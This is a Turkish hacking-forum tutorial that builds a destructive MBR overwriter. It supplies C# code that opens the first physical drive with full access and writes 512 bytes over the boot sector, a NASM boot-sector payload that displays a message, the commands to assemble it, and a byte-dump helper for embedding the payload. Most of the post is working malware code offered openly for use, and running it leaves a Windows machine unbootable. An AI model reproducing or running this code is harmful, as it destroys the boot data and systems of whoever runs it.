Merhabalar geçmişte benzer bir konu onu olan üyemiz sayın @DarkEmir 'in paylaşmış olduğu MBR Overwriter Nedir? adlı konuyu bugün C# kodlama diline uyarlayıp Assembly dosyasının .bin çıktısının baytlarını bilgisayarın fiziksel sürücüsüne yazdırarak virüsümüzü enjekte etmeyi deneyeceğiz. MBR overwriter nedir, nasıl çalışır gibi kafanızda soru işaretleri varsa yukarıdaki konuya tıklayarak detayları öğrenebilirsiniz. Bunun genelde internet üzerinde Windows 7 versiyonlarını görüyorsunuz biz bugün @AseNa’ sayesinde Windows 10 üzerinde nasıl bir tepki verdiğini göreceğiz. Kodlamaya geçelim.
İlk önce Visual Studio üzerinde C# konsol uygulaması projemizi oluşturalım ardından ekleyeceğimiz kütüphanelerimiz
using System;using System.Collections.Generic;using System.Linq;using System.Runtime.InteropServices;using System.Threading.Tasks;Daha sonra Main fonksiyonunun üzerine aşağıdaki kütüphaneler ve fonksiyonlar gelecek
C#:
[DllImport("kernel32")]
private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode,
IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[DllImport("kernel32")]
private static extern bool WriteFile(IntPtr hfile, byte[] lpBuffer, uint nNumberOfBytesToWrite,
out uint lpNumberBytesWritten, IntPtr lpOverlapped);
private const uint GenericRead = 0x80000000;
private const uint GenericWrite = 0x40000000;
private const uint GenericExecute = 0x20000000;
private const uint GenericAll = 0x10000000;
private const uint FileShareRead = 0x1;
private const uint FileShareWrite = 0x2;
private const uint OpenExisting = 0x3;
private const uint FileFlagDeleteOnClose = 0x40000000;
private const uint MbrSize = 512u;
Bu kodları girdikten sonra main fonksiyonunun altında yer alan kodları yazıyoruz. Burada fiziksel sürücü oluşturup birazdan göstereceğim şekilde aldığımız baytları bu alana yazdıracak & virüsümüzü devreye sokacak.
C#:
var mbrData = new byte[] {/*BURAYA BİN DOSYASININ BYTE DEĞERLERİ 0X DİYE BAŞLAYAN*/};
var mbr = CreateFile("\\\\.\\PhysicalDrive0", GenericAll, FileShareRead | FileShareWrite, IntPtr.Zero,
OpenExisting, 0, IntPtr.Zero);
WriteFile(mbr, mbrData, MbrSize, out uint lpNumberOfBytesWritten, IntPtr.Zero);
Kodlamamız bu kadardı. Uygulamanın yönetici izni ile çalıştırılması gerekiyor bunun için yine @DarkEmir 'in konusu olan C# - VB.NET Programın Yönetici İzni İstemesini Sağlamak konuyu okuyabilirsiniz.
Şimdi gelelim Assembly dosyamızın oluşumuna. İçeriği şöyle ki
Kod:
[BITS 16]
[ORG 7C00h]
jmp main
main:
xor ax, ax ; DS=0
mov ds, ax
cld ; DF=0 because our LODSB requires it
mov ax, 0012h ; Select 640x480 16-color graphics video mode
int 10h
mov si, string
mov bl, 9 ; Green
call printstr
jmp $
printstr:
mov bh, 0 ; DisplayPage
print:
lodsb
cmp al, 0
je done
mov ah, 0Eh ; BIOS.Teletype
int 10h
jmp print
done:
ret
string db "Merhabalar bu bir MBR OverWriter virusu denemesidir. Blue Team Turk Hack Team"
times 510 - ($-$$) db 0
dw 0AA55h
İçerikte yer alan string db kolonunu ve Green yazan yeri kendinize göre değiştirebilirsiniz. Biz @AseNa’ ile birlikte çalışırken Windows 10 üzerinde bu mesajı göremedik ama sizde belki görünür yani biz BIOS menüsünde gezinmedik bizde sadece BIOS menüsü geldi karşımıza. Şimdi bu dosyayı düzenledikten sonra istediğiniz adda kaydedin ama sonu .asm olsun. Kayıt ettikten sonra bir dosya vereceğim adı NASM bunu indirin ve arşivden çıkartın.
Link : Yandex
Virüs Total :
Çıkartmış olduğunuz arşiv dizinine oluşturmuş olduğunuz .asm dosyasını atın & NASM klasörünün içerisinde yer alan nasmpath.bat dosyasını çalıştırın ardından şu komutu girin
Kod:
nasm -f bin olusturulandosyasi.asm -o olusturulandosyasi.bin
Ardından bir olusturulandosyasi.bin adında(artık burayı siz ne yazarsanız) bir dosya çıkacak bu dosyayı aşağıda göstereceğim kod ile veya bana tıkla bu adresten yer alan kısımdan baytlarını okutup yukarıda yer alan kodun (/*BURAYA BİN DOSYASININ BYTE DEĞERLERİ 0X DİYE BAŞLAYAN*/) içerisine atın & derleyin artık virüsünüz hazır!
[ GÖRSEL GÖSTERİM ]
~ C# Byte Okuma Kodu ~
~ C# Byte Okuma Kodu ~
Ekleyeceğimiz Kütüphaneler
using System;using System.IO;using System.Text;Bir adet buton koyun & bir adet Textbox. Textbox MultiLine özelliği True & ScrollBars özelliği Both olsun.
C#:
public static byte[] ReadFileSignature(string filePath)
{
// Dosyanın tüm baytlarını okumak için bir bayt dizisi oluştur
byte[] signature;
// Dosya imzasını okumak için dosyayı aç
using (FileStream fileStream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
{
// Dosyanın uzunluğunu al
int fileLength = (int)fileStream.Length;
// Dosyanın tüm baytlarını okumak için bir bayt dizisi oluştur
signature = new byte[fileLength];
// Dosyanın tüm baytlarını oku
fileStream.Read(signature, 0, fileLength);
}
return signature;
}
public void PrintByteArrayAsHex(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
sb.AppendLine("File Signature (in 0x format):");
for (int i = 0; i < bytes.Length; i++)
{
sb.Append($"0x{bytes[i]:X2}, ");
if ((i + 1) % 16 == 0) sb.AppendLine(); // Her 16 bayttan sonra yeni satıra geç
}
sb.AppendLine();
// TextBox'a yaz
textBox1.Text += sb.ToString();
}
Buton Kodlarımız
C#:
// Dosya yolunu belirtin
string filePath = @"UZANTINIZ\dosyaadı.bin";
// Dosya imzasını oku
byte[] fileSignature = ReadFileSignature(filePath);
// Okunan imzayı 0x cinsinden yazdır
PrintByteArrayAsHex(fileSignature);
Not : Textbox1 ögesi içerisinde oluşan sonda yer alan boşlukları & son virgülü silin öyle deneyin yoksa hata verir.
Virüsümüzü Derledik & Çalıştırdık Şimdi Verdiği Tepkiye Bakalım
~ S0N ~
~ S0N ~
Son düzenleme:




